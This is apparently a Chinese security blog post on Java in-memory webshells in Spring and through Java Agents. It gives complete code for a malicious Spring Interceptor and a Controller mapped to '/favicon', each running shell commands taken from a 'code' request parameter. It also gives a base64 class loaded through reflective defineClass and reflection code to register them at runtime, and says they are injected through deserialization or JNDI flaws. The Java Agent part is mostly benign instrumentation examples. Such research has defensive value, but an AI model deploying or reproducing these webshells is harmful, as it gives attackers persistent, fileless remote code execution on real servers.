public static String INTERCEPTOR_CLASS_STRING = "yv66vgAAADQAKwoABgAbCwAcAB0IAB4KAB8AIAcAIQcAIgcAIwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAwTG9yZy9zdTE4L21lbXNoZWxsL3NwcmluZy9vdGhlci9UZXN0SW50ZXJjZXB0b3I7AQAJcHJlSGFuZGxlAQBkKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDspWgEAB3JlcXVlc3QBACdMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVxdWVzdDsBAAhyZXNwb25zZQEAKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTsBAAdoYW5kbGVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAKRXhjZXB0aW9ucwcAJAEAClNvdXJjZUZpbGUBABRUZXN0SW50ZXJjZXB0b3IuamF2YQwACAAJBwAlDAAmACcBABBpJ20gaW50ZXJjZXB0b3J+BwAoDAApACoBAC5vcmcvc3UxOC9tZW1zaGVsbC9zcHJpbmcvb3RoZXIvVGVzdEludGVyY2VwdG9yAQAQamF2YS9sYW5nL09iamVjdAEAMm9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvSGFuZGxlckludGVyY2VwdG9yAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAJmphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgAhAAUABgABAAcAAAACAAEACAAJAAEACgAAAC8AAQABAAAABSq3AAGxAAAAAgALAAAABgABAAAACwAMAAAADAABAAAABQANAA4AAAABAA8AEAACAAoAAABZAAIABAAAAA0suQACAQASA7YABASsAAAAAgALAAAACgACAAAADwALABAADAAAACoABAAAAA0ADQAOAAAAAAANABEAEgABAAAADQATABQAAgAAAA0AFQAWAAMAFwAAAAQAAQAYAAEAGQAAAAIAGg==";

public static Class<?> getClass(String classCode) throws IOException, InvocationTargetException, IllegalAccessException, NoSuchMethodException, InstantiationException {
ClassLoader loader = Thread.currentThread().getContextClassLoader();
BASE64Decoder base64Decoder = new BASE64Decoder();
byte[] bytes = base64Decoder.decodeBuffer(classCode);

Method method = null;
Class<?> clz = loader.getClass();
while (method == null && clz != Object.class) {
try {
method = clz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
} catch (NoSuchMethodException ex) {
clz = clz.getSuperclass();
}
}

if (method != null) {
method.setAccessible(true);
return (Class<?>) method.invoke(loader, bytes, 0, bytes.length);
}

return null;

}
}

Spring Interceptor 内存马

这里的描述的 Intercepor 是指 Spring 中的拦截器,它是 Spring 使用 AOP 对 Filter 思想的另一种实现,在其他框架如 Struts2 中也有拦截器思想的相关实现。不过这里将仅仅使用 Spring 中的拦截器进行研究。Intercepor 主要是针对 Controller 进行拦截。

Intercepor 是在什么时候调用的呢?又配置储存在哪呢?这部分比较简单,直接用文字来描述一下这个过程:

  1. Spring MVC 使用 DispatcherServletdoDispatch 方法进入自己的处理逻辑;
  2. 通过 getHandler 方法,循环遍历 handlerMappings 属性,匹配获取本次请求的 HandlerMapping
  3. 通过 HandlerMappinggetHandler 方法,遍历 this.adaptedInterceptors 中的所有 HandlerInterceptor 类实例,加入到 HandlerExecutionChaininterceptorList 中;
  4. 调用 HandlerExecutionChainapplyPreHandle 方法,遍历其中的 HandlerInterceptor 实例并调用其 preHandle 方法执行拦截器逻辑。
  5. 通过这次流程我们就清晰了,拦截器本身需要是 HandlerInterceptor 实例,储存在 AbstractHandlerMappingadaptedInterceptors 中。写入非常简单,直接上例子。

这种类型的场景:最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 tomcat 容器下,有 filterlistener 等技术可以达到上述要求。那么在 spring 框架层面下,就考虑Interceptor 拦截了

获得当前代码运行时的上下文环境

参考基于内存 Webshell 的无文件攻击技术研究中的方法

获取 adaptedInterceptors 属性值

java
1
2
3
4
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);

恶意Interceptor类

结合漏洞(如反序列化、JNDI注入等)注入

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//package bitterz.interceptors;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor extends HandlerInterceptorAdapter {
public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
// 避免重复添加
for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {
if (adaptedInterceptors.get(i) instanceof TestInterceptor) {
System.out.println("已经添加过TestInterceptor实例了");
return;
}
}

TestInterceptor aaa = new TestInterceptor("aaa"); // 避免进入实例创建的死循环
adaptedInterceptors.add(aaa); // 添加全局interceptor
}

private TestInterceptor(String aaa){}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if (code != null) {
java.lang.Runtime.getRuntime().exec(code);
return true;
}
else {
// response.sendError(404);
return true;
}}}

反射实现如下:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package org.qi4l.memshell.spring.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

import static org.qi4l.memshell.spring.controller.DynamicUtils.INTERCEPTOR_CLASS_STRING;

/**
* 访问此接口动态添加 Interceptor
*
* @author qi4l
*/
@Controller
@RequestMapping(value = "/addInterceptor")
public class AddInterceptor {

@GetMapping()
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {

// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

Field f = mapping.getClass().getSuperclass().getDeclaredField("adaptedInterceptors");
f.setAccessible(true);
List<HandlerInterceptor> list = (List<HandlerInterceptor>) f.get(mapping);
list.add((HandlerInterceptor) DynamicUtils.getClass(INTERCEPTOR_CLASS_STRING).newInstance());
response.getWriter().println("interceptor added");
}
}

Spring Controller 内存马

Servlet 能做内存马,Controller 当然也能做,不过 SpringMVC 可以在运行时动态添加 Controller 吗?答案是肯定的。在动态注册 Servlet 时,注册了两个东西,一个是 Servlet 的本身实现,一个 Servlet 与 URL 的映射 Servlet-Mapping,在注册 Controller 时,也同样需要注册两个东西,一个是 Controller,一个是 RequestMapping 映射。这里使用 spring-webmvc-5.2.3 进行调试。

所谓 Spring Controller 的动态注册,就是对 RequestMappingHandlerMapping 注入的过程,如果你对 SpringMVC 比较了解,可以直接看这篇文章然后再看我的注入代码,如果比较关注整个流程,可以接着向下看。

首先来看两个类:

  • RequestMappingInfo:一个封装类,对一次 http 请求中的相关信息进行封装。
  • HandlerMethod:对 Controller 的处理请求方法的封装,里面包含了该方法所属的 bean、method、参数等对象。

SpringMVC 初始化时,在每个容器的 bean 构造方法、属性设置之后,将会使用 InitializingBean 的 afterPropertiesSet 方法进行 Bean 的初始化操作,其中实现类 RequestMappingHandlerMapping 用来处理具有 @Controller 注解类中的方法级别的 @RequestMapping 以及 RequestMappingInfo 实例的创建。看一下具体的是怎么创建的。

它的 afterPropertiesSet 方法初始化了 RequestMappingInfo.BuilderConfiguration 这个配置类,然后调用了其父类 AbstractHandlerMethodMapping 的 afterPropertiesSet 方法。

这个方法调用了 initHandlerMethods 方法,首先获取了 Spring 中注册的 Bean,然后循环遍历,调用 processCandidateBean 方法处理 Bean。

processCandidateBean 方法

isHandler 方法判断当前 bean 定义是否带有 ControllerRequestMapping 注解。

detectHandlerMethods 查找 handler methods 并注册。

这部分有两个关键功能,一个是 getMappingForMethod 方法根据 handler method 创建RequestMappingInfo 对象,一个是 registerHandlerMethod 方法将 handler method 与访问的 创建 RequestMappingInfo 进行相关映射。

这里我们看到,是调用了 MappingRegistry 的 register 方法,这个方法将一些关键信息进行包装、处理和储存。

关键信息储存位置如下:

以上就是整个注册流程,那当一次请求进来时的查找流程呢?在 AbstractHandlerMethodMapping 的 lookupHandlerMethod 方法:

  • 在 MappingRegistry.urlLookup 中获取直接匹配的 RequestMappingInfos
  • 如果没有,则遍历所有的 MappingRegistry.mappingLookup 中保存的 RequestMappingInfos
  • 获取最佳匹配的 RequestMappingInfo 对应的 HandlerMethod

上述的流程和较详细的流程描述在这篇文章中可以查看,由于我这里使用的版本与之不同,所以一些代码和细节可能不同。

那接下来就是动态注册 Controller 了,LandGrey 师傅在他的文章中列举了几种可用来添加的接口,其实本章上都是调用之前我们提到的 MappingRegistryregister 方法。

和 Servlet 的添加较为类似的是,重点需要添加的就是访问 url 与 RequestMappingInfo 的映射,以及是 RequestMappingInfo 与 HandlerMethod 的映射。

这里也可以不使用 LandGrey 师傅提到的接口,而是直接使用 MappingRegistry 的 register 方法来添加,当然,同样可以通过自己实现逻辑,通过反射直接写进重要位置,不使用 Spring 提供的接口。

具体实现如下:

这里在强调一下,不需要强制使用 @RequestMapping 注解定义 URL 地址和 HTTP 方法,其余两种手动注册 controller 的方法都必须要在 controller 中使用@RequestMapping 注解 。

除此之外,将 Webshell 的代码逻辑写在主要的 Controller 方法中即可

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
package me.landgrey;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.PrintWriter;

@Controller
public class SSOLogin {

@RequestMapping(value = "/favicon")
public void login(HttpServletRequest request, HttpServletResponse response){
try {
String arg0 = request.getParameter("code");
PrintWriter writer = response.getWriter();
if (arg0 != null) {
String o = "";
java.lang.ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});
}else{
p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});
}
java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
o = c.hasNext() ? c.next(): o;
c.close();
writer.write(o);
writer.flush();
writer.close();
}else{
response.sendError(404);
}
}catch (Exception e){
}
}
}

反射实现如下:

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package org.qi4l.memshell.spring.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import org.springframework.web.servlet.support.RequestContextUtils;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Map;

import static org.qi4l.memshell.spring.controller.DynamicUtils.CONTROLLER_CLASS_STRING;

/**
* 访问此接口动态添加 controller
*
* @author qi4l
*/
@Controller
@RequestMapping(value = "/add")
public class AddController {

@GetMapping()
public void index(HttpServletRequest request, HttpServletResponse response) throws Exception {

final String controllerPath = "/qi4l";

// 获取当前应用上下文
WebApplicationContext context = RequestContextUtils.findWebApplicationContext(((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest());

// 通过 context 获取 RequestMappingHandlerMapping 对象
RequestMappingHandlerMapping mapping = context.getBean(RequestMappingHandlerMapping.class);

// 获取父类的 MappingRegistry 属性
Field f = mapping.getClass().getSuperclass().getSuperclass().getDeclaredField("mappingRegistry");
f.setAccessible(true);
Object mappingRegistry = f.get(mapping);

// 反射调用 MappingRegistry 的 register 方法
Class<?> c = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry");

Method[] ms = c.getDeclaredMethods();

// 判断当前路径是否已经添加
Field field = c.getDeclaredField("urlLookup");
field.setAccessible(true);

Map<String, Object> urlLookup = (Map<String, Object>) field.get(mappingRegistry);
for (String urlPath : urlLookup.keySet()) {
if (controllerPath.equals(urlPath)) {
response.getWriter().println("controller url path exist already");
return;
}
}

// 初始化一些注册需要的信息
PatternsRequestCondition url = new PatternsRequestCondition(controllerPath);
RequestMethodsRequestCondition condition = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, condition, null, null, null, null, null);

Class<?> myClass = DynamicUtils.getClass(CONTROLLER_CLASS_STRING);

for (Method method : ms) {
if ("register".equals(method.getName())) {
// 反射调用 MappingRegistry 的 register 方法注册 TestController 的 index
method.setAccessible(true);
method.invoke(mappingRegistry, info, myClass.newInstance(), myClass.getMethods()[0]);
response.getWriter().println("spring controller add");
}
}
}
}

Java Agent 内存马

概述

我们知道Java是一种强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。Java Agent就是一种能在不影响正常编译的前提下,修改Java字节码,进而动态地修改已加载或未加载的类、属性和方法的技术。

实际上,平时较为常见的技术如热部署、一些诊断工具等都是基于Java Agent技术来实现的。那么Java Agent技术具体是怎样实现的呢?

对于Agent(代理)来讲,其大致可以分为两种,一种是在JVM启动前加载的premain-Agent,另一种是JVM启动之后加载的agentmain-Agent。这里我们可以将其理解成一种特殊的Interceptor(拦截器),如下图

premain

agentmain-Agent

Java Agent示例

premain-Agent

我们首先来实现一个简单的premain-Agent,创建一个Maven项目,编写一个简单的premain-Agent

java
1
2
3
4
5
6
7
8
9
10
11
package com.java.premain.agent;

import java.lang.instrument.Instrumentation;

public class Java_Agent_premain {
public static void premain(String args, Instrumentation inst) {
for (int i =0 ; i<10 ; i++){
System.out.println("调用了premain-Agent!");
}
}
}

接着在resource/META-INF/下创建MANIFEST.MF清单文件用以指定premain-Agent的启动类

1
2
Manifest-Version: 1.0
Premain-Class: com.java.premain.agent.Java_Agent_premain

将其打包成jar文件

创建一个目标类

1
2
3
4
5
public class Hello {
public static void main(String[] args) {
System.out.println("Hello World!");
}
}

添加JVM Options(注意分号之后不能有空格)

1
-javaagent:"out/artifacts/Java_Agent_jar/Java_Agent.jar"

agentmain-Agent

相较于premain-Agent只能在JVM启动前加载,agentmain-Agent能够在JVM启动之后加载并实现相应的修改字节码功能。下面我们来了解一下和JVM有关的两个类。

VirtualMachine类

com.sun.tools.attach.VirtualMachine类可以实现获取JVM信息,内存dump、现成dump、类信息统计(例如JVM加载的类)等功能。

该类允许我们通过给attach方法传入一个JVM的PID,来远程连接到该JVM上 ,之后我们就可以对连接的JVM进行各种操作,如注入Agent。下面是该类的主要方法

1
2
3
4
5
6
7
8
9
10
11
//允许我们传入一个JVM的PID,然后远程连接到该JVM上
VirtualMachine.attach()

//向JVM注册一个代理程序agent,在该agent的代理程序中会得到一个Instrumentation实例,该实例可以 在class加载前改变class的字节码,也可以在class加载后重新加载。在调用Instrumentation实例的方法时,这些方法会使用ClassFileTransformer接口中提供的方法进行处理
VirtualMachine.loadAgent()

//获得当前所有的JVM列表
VirtualMachine.list()

//解除与特定JVM的连接
VirtualMachine.detach()

VirtualMachineDescriptor类

com.sun.tools.attach.VirtualMachineDescriptor 类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;

import java.util.List;

public class get_PID {
public static void main(String[] args) {

//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为get_PID则返回其PID
if(vmd.displayName().equals("get_PID"))
System.out.println(vmd.id());
}

}
}


##
4908

Process finished with exit code 0

下面我们就来实现一个 agentmain-Agent 。首先我们编写一个Sleep_Hello类,模拟正在运行的JVM

1
2
3
4
5
6
7
8
9
10
import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
System.out.println("Hello World!");
sleep(5000);
}
}
}

然后编写我们的 agentmain-Agent

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.java.agentmain.agent;

import java.lang.instrument.Instrumentation;

import static java.lang.Thread.sleep;

public class Java_Agent_agentmain {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
while (true){
System.out.println("调用了agentmain-Agent!");
sleep(3000);
}
}
}

同时配置MANIFEST.MF文件

java
1
2
Manifest-Version: 1.0
Agent-Class: com.java.agentmain.agent.Java_Agent_agentmain

编译打包成jar文件 out/artifacts/Java_Agent_jar/Java_Agent.jar

最后编写一个Inject_Agent类,获取特定JVM的PID并注入Agent

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

首先启动Sleep_Hello目标JVM

然后运行Inject_Agent类,注入Agent

Instrumentation

Instrumentation是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果。

其在Java中是一个接口,常用方法如下

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public interface Instrumentation {

//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

//在类加载之前,重新定义 Class 文件,ClassDefinition 表示对一个类新的定义,如果在类加载之后,需要使用 retransformClasses 方法重新定义。addTransformer方法配置之后,后续的类加载都会被Transformer拦截。对于已经加载过的类,可以执行retransformClasses来重新触发这个Transformer的拦截。类加载的字节码被修改后,除非再次被retransform,否则不会恢复。
void addTransformer(ClassFileTransformer transformer);

//删除一个类转换器
boolean removeTransformer(ClassFileTransformer transformer);


//在类加载之后,重新定义 Class。这个很重要,该方法是1.6 之后加入的,事实上,该方法是 update 了一个类。
void retransformClasses(Class<?>... classes) throws UnmodifiableClassException;



//判断一个类是否被修改
boolean isModifiableClass(Class<?> theClass);

// 获取目标已经加载的类。
@SuppressWarnings("rawtypes")
Class[] getAllLoadedClasses();

//获取一个对象的大小
long getObjectSize(Object objectToSize);

}

获取目标JVM已加载类

下面我们简单实现一个能够获取目标JVM已加载类的agentmain-Agent

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package com.java.agentmain.instrumentation;

import java.lang.instrument.Instrumentation;

public class Java_Agent_agentmain_Instrumentation {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException {
Class [] classes = inst.getAllLoadedClasses();

for(Class cls : classes){
System.out.println("------------------------------------------");
System.out.println("加载类: "+cls.getName());
System.out.println("是否可被修改: "+inst.isModifiableClass(cls));
}
}
}

注入目标进程,结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Hello World!
Hello World!
------------------------------------------
加载类: com.java.agentmain.instrumentation.Java_Agent_agentmain_Instrumentation
是否可被修改: true
------------------------------------------
加载类: Sleep_Hello
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$1
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2
是否可被修改: true
------------------------------------------
加载类: com.intellij.rt.execution.application.AppMainV2$Agent
是否可被修改: true

...

transform

在Instrumentation接口中,我们可以通过 addTransformer() 来添加一个transformer(转换器),关键属性就是 ClassFileTransformer 类。

1
2
//增加一个Class 文件的转换器,转换器用于改变 Class 二进制流的数据,参数 canRetransform 设置是否允许重新转换。
void addTransformer(ClassFileTransformer transformer, boolean canRetransform);

ClassFileTransformer接口中只有一个 transform() 方法,返回值为字节数组,作为转换后的字节码注入到目标JVM中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public interface ClassFileTransformer {

/**
* 类文件转换方法,重写transform方法可获取到待加载的类相关信息
*
* @param loader 定义要转换的类加载器;如果是引导加载器如Bootstrap ClassLoader,则为 null
* @param className 完全限定类内部形式的类名称,格式如:java/lang/Runtime
* @param classBeingRedefined 如果是被重定义或重转换触发,则为重定义或重转换的类;如果是类加载,则为 null
* @param protectionDomain 要定义或重定义的类的保护域
* @param classfileBuffer 类文件格式的输入字节缓冲区(不得修改)
* @return 返回一个通过ASM修改后添加了防御代码的字节码byte数组。
*/

byte[] transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException;
}

在通过 addTransformer 注册一个transformer后,每次定义或者重定义新类都会调用transformer。所谓定义,即是通过 ClassLoader.defineClass 加载进来的类。而重定义是通过Instrumentation.redefineClasses 方法重定义的类。

当存在多个转换器时,转换将由 transform 调用链组成。 也就是说,一个 transform 调用返回的 byte 数组将成为下一个调用的输入(通过 classfileBuffer 参数)。

转换将按以下顺序应用:

  1. 不可重转换转换器

  2. 不可重转换本机转换器

  3. 可重转换转换器

  4. 可重转换本机转换器

  5. 至于transformer中对字节码的具体操作,则需要使用到Javassisit类。下面我就来修改一个正在运行JVM的字节码。

修改目标JVM的Class字节码

首先编写一个目标类 com.sleep.hello.Sleep_Hello.java

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
package com.sleep.hello;

import static java.lang.Thread.sleep;

public class Sleep_Hello {
public static void main(String[] args) throws InterruptedException {
while (true){
hello();
sleep(3000);
}
}

public static void hello(){
System.out.println("Hello World!");
}
}

编写一个 agentmain-Agent

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.java.agentmain.instrumentation.transformer;

import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Java_Agent_agentmain_transform {
public static void agentmain(String args, Instrumentation inst) throws InterruptedException, UnmodifiableClassException {
Class [] classes = inst.getAllLoadedClasses();

//获取目标JVM加载的全部类
for(Class cls : classes){
if (cls.getName().equals("com.sleep.hello.Sleep_Hello")){

//添加一个transformer到Instrumentation,并重新触发目标类加载
inst.addTransformer(new Hello_Transform(),true);
inst.retransformClasses(cls);
}
}
}
}

继承 ClassFileTransformer 类编写一个 transformer ,修改对应类的字节码

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
package com.java.agentmain.instrumentation.transformer;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;

public class Hello_Transform implements ClassFileTransformer {
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
try {

//获取CtClass 对象的容器 ClassPool
ClassPool classPool = ClassPool.getDefault();

//添加额外的类搜索路径
if (classBeingRedefined != null) {
ClassClassPath ccp = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(ccp);
}

//获取目标类
CtClass ctClass = classPool.get("com.sleep.hello.Sleep_Hello");

//获取目标方法
CtMethod ctMethod = ctClass.getDeclaredMethod("hello");

//设置方法体
String body = "{System.out.println(\"Hacker!\");}";
ctMethod.setBody(body);

//返回目标类字节码
byte[] bytes = ctClass.toBytecode();
return bytes;

}catch (Exception e){
e.printStackTrace();
}
return null;
}
}

然后编写Inject_Agent类,将agentmain-Agent注入到目标JVM中

java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.java.inject;

import com.sun.tools.attach.*;

import java.io.IOException;
import java.util.List;

public class Inject_Agent {
public static void main(String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException {
//调用VirtualMachine.list()获取正在运行的JVM列表
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for(VirtualMachineDescriptor vmd : list){

//遍历每一个正在运行的JVM,如果JVM名称为Sleep_Hello则连接该JVM并加载特定Agent
if(vmd.displayName().equals("com.sleep.hello.Sleep_Hello")){

//连接指定JVM
VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id());
//加载Agent
virtualMachine.loadAgent("out/artifacts/Java_Agent_jar/Java_Agent.jar");
//断开JVM连接
virtualMachine.detach();
}

}
}
}

注意这里使用到了 tools.jar 工具包,然后将 agentmain-Agent 打为jar包,注意这里将 tools 和 javassist 依赖一并打包

然后就可以运行目标类,然后运行Inject_Agent类,注入Agent

Instrumentation的局限性

大多数情况下,我们使用Instrumentation都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:

premain和agentmain两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有Class类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。

类的字节码修改称为类转换(Class Transform),类转换其实最终都回归到类重定义Instrumentation#redefineClasses方法,此方法有以下限制:

  1. 新类和老类的父类必须相同
  2. 新类和老类实现的接口数也要相同,并且是相同的接口
  3. 新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
  4. 新类和老类新增或删除的方法必须是private static/final修饰的
  5. 只可以修改方法体

实现在代码层

现在我们可以通过Java Agent技术来修改正在运行JVM中的方法体,那么我们可以Hook一些JVM一定会调用、并且Hook之后不会影响正常业务逻辑的的方法来实现内存马。

这里我们以Spring Boot为例,来实现一个Agent内存马。

Spring Boot中的Tomcat

我们知道,Spring Boot中内嵌了一个embed Tomcat作为其启动容器。既然是Tomcat,那肯定有相应的组件容器。我们先来调试一下SpringBoot,部分调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Context:20, Context_Learn (com.example.spring_controller)
...
(org.springframework.web.servlet.mvc.method.annotation)
handleInternal:808, RequestMappingHandlerAdapter (org.springframework.web.servlet.mvc.method.annotation)
handle:87, AbstractHandlerMethodAdapter (org.springframework.web.servlet.mvc.method)
doDispatch:1067, DispatcherServlet (org.springframework.web.servlet)
doService:963, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:655, HttpServlet (javax.servlet.http)
